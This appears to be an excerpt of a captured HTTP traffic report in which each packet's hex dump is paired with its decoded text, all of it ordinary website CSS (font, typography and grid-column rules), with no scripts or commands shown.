Etag: "80b29dba59ef02a8d4f26f630490b6d3271660b09676a6607d7d8aea8a6d0586"
Last-Modified: Thu, 14 Apr 2022 17:10:06 GMT
Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes
Date: Fri, 13 May 2022 14:40:10 GMT
X-Served-By: cache-fra19136-FRA
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1652452810.111294,VS0,VE139
Vary: x-fh-requested-host, accept-encoding

2022-05-13 14:40:10 UTC 372 IN Data Raw: 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 
2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 
75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 
74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 
72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 7b 64 69 73 70 6
c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 7
3 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 
Data Ascii: html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,as
ide,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,pr
ogress,video{display:inline-block;ver

2022-05-13 14:40:10 UTC 373 IN Data Raw: 3d 22 6e 75 6d 62 65 72 22 5d 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 6e 65 72 2d 73 70 69 6e 2d 62 75 74 74 
6f 6e 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 6e 75 6d 62 65 72 22 5d 3a 3a 2d 77 65 62 6b 69 74 2d 6f 75 74 65 72 2d 
73 70 69 6e 2d 62 75 74 74 6f 6e 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 7
2 63 68 22 5d 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 74 65 78 74 66 69 65 6c 64 3b 2d 6d 6f 7a 
2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 
6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 7d 69 6e 
70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 3a 3a 2d 77 65 
Data Ascii: ="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type
="search"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-bo
x}input[type="search"]::-we

2022-05-13 14:40:10 UTC 374 IN Data Raw: 63 69 64 61 20 47 72 61 6e 64 65 22 2c 22 52 6f 62 6f 74 6f 22 2c 22 45 62 72 69 6d 61 22 2c 22 4e 69 72 6d 
61 6c 61 20 55 49 22 2c 22 47 61 64 75 67 69 22 2c 22 53 65 67 6f 65 20 58 62 6f 78 20 53 79 6d 62 6f 6c 22 2c 22 53 65 
67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 22 4d 65 69 72 79 6f 20 55 49 22 2c 22 4b 68 6d 65 72 20 55 49 22 2c 22 54 
75 6e 67 61 22 2c 22 4c 61 6f 20 55 49 22 2c 22 52 61 61 76 69 22 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 22 4c 
61 74 68 61 22 2c 22 4c 65 65 6c 61 77 61 64 65 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 20 55 49 22 
2c 22 4d 69 63 72 6f 73 6f 66 74 20 4a 68 65 6e 67 48 65 69 20 55 49 22 2c 22 4d 61 6c 67 75 6e 20 47 6f 74 68 69 63 
22 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 73 61 22 
Data Ascii: cida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo 
UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI
","Malgun Gothic","Estrangelo Edessa"
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2022-05-13 14:40:10 UTC 376 IN Data Raw: 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 
61 6d 69 6c 79 3a 27 53 65 67 6f 65 20 55 49 20 57 65 62 66 6f 6e 74 27 3b 73 72 63 3a 6c 6f 63 61 6c 28 22 53 65 67 6f 
65 20 55 49 22 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 
7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 65 67 6f 65 20 55 49 20 57 65 62 66 6f 6e 
74 27 3b 73 72 63 3a 6c 6f 63 61 6c 28 22 53 65 67 6f 65 20 55 49 20 53 65 6d 69 62 6f 6c 64 22 29 3b 66 6f 6e 74 2d 77 
65 69 67 68 74 3a 36 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 68 31 2c 68 32 2c 68 33 2c 68 34 2c 
68 35 2c 68 36 2c 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 
Data Ascii: ;font-style:normal}@font-face{font-family:'Segoe UI Webfont';src:local("Segoe UI");font-weight:400;font-styl
e:normal}@font-face{font-family:'Segoe UI Webfont';src:local("Segoe UI Semibold");font-weight:600;font-style:normal}h1,h
2,h3,h4,h5,h6,.text-headlin

2022-05-13 14:40:10 UTC 377 IN Data Raw: 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 31 38 2e 37 32 35 36 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 37 
2e 34 32 30 33 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 65 72 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 2c 
68 31 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 37 34 2e 37 32 35 36 70 
78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 2e 39 32 30 33 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 65 72 2e 74 
65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 2c 68 31 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 68 
65 69 67 68 74 3a 32 33 30 2e 37 32 35 36 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 34 2e 34 32 30 33 35 72 65 6d 
7d 2e 74 65 78 74 2d 73 75 62 68 65 61 64 65 72 2c 68 32 7b 66 6f 6e 74 2d 
Data Ascii: {max-height:118.7256px;max-height:7.42035rem}.text-header.text-maxlines-3,h1.text-maxlines-3{max-h
eight:174.7256px;max-height:10.92035rem}.text-header.text-maxlines-4,h1.text-maxlines-4{max-height:230.7256px;max-
height:14.42035rem}.text-subheader,h2{font-

2022-05-13 14:40:10 UTC 378 IN Data Raw: 74 3a 35 2e 35 34 35 34 72 65 6d 7d 2e 66 31 65 36 31 34 39 63 34 31 65 36 31 34 39 63 34 43 65 61 47 2e 
74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 2c 68 33 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 
68 65 69 67 68 74 3a 31 31 36 2e 37 32 36 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 37 2e 32 39 35 34 72 65 6d 7d 
2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6c 69 6e 65 2d 68 
65 69 67 68 74 3a 32 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 
32 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 
3a 31 2e 36 33 36 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 2e 36 33 
Data Ascii: t:5.5454rem}.f1e6149c41e6149c4CeaG.text-maxlines-4,h3.text-maxlines-4{max-height:116.7264px;max-he
ight:7.2954rem}.text-subtitle,h4{font-size:20px;line-height:24px;font-weight:400;font-size:1.25rem;line-height:1.5rem;pa
dding-bottom:1.636px;padding-top:1.63

2022-05-13 14:40:10 UTC 380 IN Data Raw: 74 2d 73 69 7a 65 3a 2e 36 32 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 2e 37 35 72 65 6d 3b 70 
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 2e 38 31 38 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 2e 38 31 38 70 78 
3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 2e 38 31 38 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 2e 38 31 38 7
0 78 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2d 61 6c 74 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 68 36 2e 
74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 
2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 33 2e 36 33 36 70 78 3b 
6d 61 78 2d 68 65 69 67 68 74 3a 2e 38 35 32 32 35 72 65 6d 7d 2e 74 65 
Data Ascii: t-size:.625rem;line-height:.75rem;padding-bottom:.818px;padding-top:.818px;padding-bottom:.818px;padding-
top:.818px}.text-caption-alt.text-maxlines-1,h6.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-hei
ght:13.636px;max-height:.85225rem}.te

2022-05-13 14:40:10 UTC 381 IN Data Raw: 78 74 2d 62 6f 64 79 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 2c 70 2e 74 65 78 74 2d 6d 61 78 6c 69 
6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 30 2e 34 35 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 
35 32 38 33 38 72 65 6d 7d 2e 74 65 78 74 2d 62 6f 64 79 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 2c 70 2e 74 
65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 36 30 2e 34 35 34 70 78 3b 6d 61 78 2d 
68 65 69 67 68 74 3a 33 2e 37 37 38 33 38 72 65 6d 7d 2e 74 65 78 74 2d 62 6f 64 79 2e 74 65 78 74 2d 6d 61 78 6c 69 
6e 65 73 2d 34 2c 70 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 38 30 2e 34 
35 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 35 2e 30 32 38 33 38 72 
Data Ascii: xt-body.text-maxlines-2,p.text-maxlines-2{max-height:40.454px;max-height:2.52838rem}.text-body.text-
maxlines-3,p.text-maxlines-3{max-height:60.454px;max-height:3.77838rem}.text-body.text-maxlines-4,p.text-maxlines-
4{max-height:80.454px;max-height:5.02838r

2022-05-13 14:40:10 UTC 382 IN Data Raw: 74 6f 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 70 
78 3b 77 69 64 74 68 3a 39 30 25 7d 2e 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 2c 2e 63 6f 6e 74 61 69 6e 65 
72 3a 61 66 74 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 62 65 66 6f 72 65 2c 2e 63 6f 6e 74 61 69 6e 
65 72 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 20 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 
65 7d 2e 63 6f 6e 74 61 69 6e 65 72 3a 61 66 74 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 61 66 74 6
5 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 
74 61 69 6e 65 72 2d 66 6c 75 69 64 20 2e 63 6f 6e 74 61 69 6e 65 
Data Ascii: to;padding-left:2px;padding-right:2px;width:90%}.container:before,.container:after,.container-fluid:before,.
container-fluid:after{content:" ";display:table}.container:after,.container-fluid:after{clear:both}.container .container,.containe
r-fluid .containe

2022-05-13 14:40:10 UTC 384 IN Data Raw: 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 63 6f 6c 2d 73 6d 2d 32 33 2c 2e 63 6f 6c 2d 6d 64 2d 32 33 2c 2e 63 
6f 6c 2d 6c 67 2d 32 33 2c 2e 45 31 61 63 66 62 30 64 38 31 61 63 66 62 30 64 38 65 6a 73 2c 2e 63 6f 6c 2d 73 6d 2d 
32 34 2c 2e 47 7a 63 35 62 36 35 36 31 63 35 62 36 35 36 31 4b 42 2c 2e 63 6f 6c 2d 6c 67 2d 32 34 7b 70 6f 73 69 74 
69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 
74 3a 32 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 70 78 7d 2e 63 6f 6c 2d 78 73 2d 31 2c 2e 63 6f 6c 2d 
78 73 2d 32 2c 2e 63 6f 6c 2d 78 73 2d 33 2c 2e 63 6f 6c 2d 78 73 2d 34 2c 2e 63 6f 6c 2d 78 73 2d 35 2c 2e 63 6f 6c 2d 
78 73 2d 36 2c 2e 63 6f 6c 2d 78 73 2d 37 2c 2e 63 6f 6c 2d 78 73 2d 
Data Ascii: ,.col-xs-23,.col-sm-23,.col-md-23,.col-lg-23,.E1acfb0d81acfb0d8ejs,.col-sm-24,.Gzc5b6561c5b6561KB,.col-lg-
24{position:relative;min-height:1px;padding-left:2px;padding-right:2px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-
6,.col-xs-7,.col-xs-

2022-05-13 14:40:10 UTC 385 IN Data Raw: 36 36 36 37 25 7d 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 31 31 7b 72 69 67 68 74 3a 34 35 2e 38 33 33 33 33 
25 7d 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 31 32 7b 72 69 67 68 74 3a 35 30 25 7d 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 
2d 31 33 7b 72 69 67 68 74 3a 35 34 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 31 34 7b 72 69 67 
68 74 3a 35 38 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 31 35 7b 72 69 67 68 74 3a 36 32 2e 35 
25 7d 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 31 36 7b 72 69 67 68 74 3a 36 36 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 7
8 73 2d 70 75 6c 6c 2d 31 37 7b 72 69 67 68 74 3a 37 30 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 
31 38 7b 72 69 67 68 74 3a 37 35 25 7d 2e 63 6f 6c 2d 78 73 2d 70 
Data Ascii: 6667%}.col-xs-pull-11{right:45.83333%}.col-xs-pull-12{right:50%}.col-xs-pull-13{right:54.16667%}.col-xs-pull-
14{right:58.33333%}.col-xs-pull-15{right:62.5%}.col-xs-pull-16{right:66.66667%}.col-xs-pull-17{right:70.83333%}.col-xs-
pull-18{right:75%}.col-xs-p

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:10 UTC 386 IN Data Raw: 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 
65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 39 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 
65 74 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 
65 74 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 37 2e 35 25 7d 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 31 3
0 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 31 
31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 
31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 63 6f 6c 
Data Ascii: ffset-6{margin-left:25%}.col-xs-offset-7{margin-left:29.16667%}.col-xs-offset-8{margin-left:33.33333%}.col-xs-
offset-9{margin-left:37.5%}.col-xs-offset-10{margin-left:41.66667%}.col-xs-offset-11{margin-left:45.83333%}.col-xs-offset-
12{margin-left:50%}.col

2022-05-13 14:40:10 UTC 387 IN Data Raw: 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 25 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 
3a 35 34 30 70 78 29 7b 2e 63 6f 6c 2d 73 6d 2d 31 2c 2e 63 6f 6c 2d 73 6d 2d 32 2c 2e 63 6f 6c 2d 73 6d 2d 33 2c 2e 63 
6f 6c 2d 73 6d 2d 34 2c 2e 63 6f 6c 2d 73 6d 2d 35 2c 2e 63 6f 6c 2d 73 6d 2d 36 2c 2e 63 6f 6c 2d 73 6d 2d 37 2c 2e 63 
6f 6c 2d 73 6d 2d 38 2c 2e 63 6f 6c 2d 73 6d 2d 39 2c 2e 63 6f 6c 2d 73 6d 2d 31 30 2c 2e 63 6f 6c 2d 73 6d 2d 31 31 2c 
2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 31 33 2c 2e 63 6f 6c 2d 73 6d 2d 31 34 2c 2e 63 6f 6c 2d 73 6d 
2d 31 35 2c 2e 63 6f 6c 2d 73 6d 2d 31 36 2c 2e 63 6f 6c 2d 73 6d 2d 31 37 2c 2e 63 6f 6c 2d 73 6d 2d 31 38 2c 2e 63 6f 
6c 2d 73 6d 2d 31 39 2c 2e 63 6f 6c 2d 73 6d 2d 32 30 2c 2e 
Data Ascii: 4{margin-left:100%}@media(min-width:540px){.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-
sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-13,.col-sm-14,.col-sm-15,.col-sm-16,.col-sm-17,.col-sm
-18,.col-sm-19,.col-sm-20,.

2022-05-13 14:40:10 UTC 388 IN Data Raw: 2e 63 6f 6c 2d 73 6d 2d 70 75 6c 6c 2d 31 36 7b 72 69 67 68 74 3a 36 36 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 
2d 73 6d 2d 70 75 6c 6c 2d 31 37 7b 72 69 67 68 74 3a 37 30 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 6c 
6c 2d 31 38 7b 72 69 67 68 74 3a 37 35 25 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 6c 6c 2d 31 39 7b 72 69 67 68 74 3a 37 39 
2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 6c 6c 2d 32 30 7b 72 69 67 68 74 3a 38 33 2e 33 33 33 33 33 25 7
d 2e 63 6f 6c 2d 73 6d 2d 70 75 6c 6c 2d 32 31 7b 72 69 67 68 74 3a 38 37 2e 35 25 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 6c 
6c 2d 32 32 7b 72 69 67 68 74 3a 39 31 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 6c 6c 2d 32 33 7b 72 69 
67 68 74 3a 39 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 70 
Data Ascii: .col-sm-pull-16{right:66.66667%}.col-sm-pull-17{right:70.83333%}.col-sm-pull-18{right:75%}.col-sm-pull-19{ri
ght:79.16667%}.col-sm-pull-20{right:83.33333%}.col-sm-pull-21{right:87.5%}.col-sm-pull-22{right:91.66667%}.col-sm-pull-
23{right:95.83333%}.col-sm-p

2022-05-13 14:40:10 UTC 390 IN Data Raw: 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 
31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 
2d 31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 31 33 7b 6d 
61 72 67 69 6e 2d 6c 65 66 74 3a 35 34 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 31 34 7b 6
d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 31 35 7b 
6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 32 2e 35 25 7d 2e 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 31 36 7b 6d 61 72 
67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 
Data Ascii: argin-left:41.66667%}.col-sm-offset-11{margin-left:45.83333%}.col-sm-offset-12{margin-left:50%}.col-sm-offset-
13{margin-left:54.16667%}.col-sm-offset-14{margin-left:58.33333%}.col-sm-offset-15{margin-left:62.5%}.col-sm-offset-16
{margin-left:66.66667%}.col

2022-05-13 14:40:10 UTC 391 IN Data Raw: 2e 63 6f 6c 2d 6d 64 2d 32 32 7b 77 69 64 74 68 3a 39 31 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6d 64 2d 32 
33 7b 77 69 64 74 68 3a 39 35 2e 38 33 33 33 33 25 7d 2e 47 7a 63 35 62 36 35 36 31 63 35 62 36 35 36 31 4b 42 7b 77 
69 64 74 68 3a 31 30 30 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 6c 6c 2d 30 7b 72 69 67 68 74 3a 61 75 74 6f 7d 2e 63 6f 6c 
2d 6d 64 2d 70 75 6c 6c 2d 31 7b 72 69 67 68 74 3a 34 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 6c 6c 2d 
32 7b 72 69 67 68 74 3a 38 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 6c 6c 2d 33 7b 72 69 67 68 74 3a 31 3
2 2e 35 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 6c 6c 2d 34 7b 72 69 67 68 74 3a 31 36 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 
2d 6d 64 2d 70 75 6c 6c 2d 35 7b 72 69 67 68 74 3a 32 30 2e 38 33 
Data Ascii: .col-md-22{width:91.66667%}.col-md-23{width:95.83333%}.Gzc5b6561c5b6561KB{width:100%}.col-md-pull-
0{right:auto}.col-md-pull-1{right:4.16667%}.col-md-pull-2{right:8.33333%}.col-md-pull-3{right:12.5%}.col-md-pull-4{right
:16.66667%}.col-md-pull-5{right:20.83

2022-05-13 14:40:10 UTC 392 IN Data Raw: 2d 70 75 73 68 2d 31 39 7b 6c 65 66 74 3a 37 39 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 
2d 32 30 7b 6c 65 66 74 3a 38 33 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 32 31 7b 6c 65 66 74 
3a 38 37 2e 35 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 32 32 7b 6c 65 66 74 3a 39 31 2e 36 36 36 36 37 25 7d 2e 
63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 32 33 7b 6c 65 66 74 3a 39 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 7
5 73 68 2d 32 34 7b 6c 65 66 74 3a 31 30 30 25 7d 2e 63 6f 6c 2d 6d 64 2d 6f 66 66 73 65 74 2d 30 7b 6d 61 72 67 69 6e 
2d 6c 65 66 74 3a 30 25 7d 2e 63 6f 6c 2d 6d 64 2d 6f 66 66 73 65 74 2d 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 
2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 6d 64 2d 6f 66 66 73 65 74 2d 
Data Ascii: -push-19{left:79.16667%}.col-md-push-20{left:83.33333%}.col-md-push-21{left:87.5%}.col-md-push-22{
left:91.66667%}.col-md-push-23{left:95.83333%}.col-md-push-24{left:100%}.col-md-offset-0{margin-left:0%}.col-md-offset-
1{margin-left:4.16667%}.col-md-offset-

2022-05-13 14:40:10 UTC 394 IN Data Raw: 32 33 2c 2e 63 6f 6c 2d 6c 67 2d 32 34 7b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 63 6f 6c 2d 6c 67 2d 31 7b 77 
69 64 74 68 3a 34 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 32 7b 77 69 64 74 68 3a 38 2e 33 33 33 33 33 25 7d 
2e 63 6f 6c 2d 6c 67 2d 33 7b 77 69 64 74 68 3a 31 32 2e 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 34 7b 77 69 64 74 68 3a 31 
36 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 35 7b 77 69 64 74 68 3a 32 30 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2
d 6c 67 2d 36 7b 77 69 64 74 68 3a 32 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 37 7b 77 69 64 74 68 3a 32 39 2e 31 36 36 36 37 
25 7d 2e 63 6f 6c 2d 6c 67 2d 38 7b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 39 7b 77 
69 64 74 68 3a 33 37 2e 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 31 30 7b 77 
Data Ascii: 23,.col-lg-24{float:left}.col-lg-1{width:4.16667%}.col-lg-2{width:8.33333%}.col-lg-3{width:12.5%}.col-lg-4{w
idth:16.66667%}.col-lg-5{width:20.83333%}.col-lg-6{width:25%}.col-lg-7{width:29.16667%}.col-lg-8{width:33.33333%}.col-
lg-9{width:37.5%}.col-lg-10{w

2022-05-13 14:40:10 UTC 395 IN Data Raw: 68 2d 30 7b 6c 65 66 74 3a 61 75 74 6f 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 31 7b 6c 65 66 74 3a 34 2e 
31 36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 32 7b 6c 65 66 74 3a 38 2e 33 33 33 33 33 25 7d 2e 63 6f 
6c 2d 6c 67 2d 70 75 73 68 2d 33 7b 6c 65 66 74 3a 31 32 2e 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 34 7b 6c 
65 66 74 3a 31 36 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 35 7b 6c 65 66 74 3a 32 30 2e 38 33 
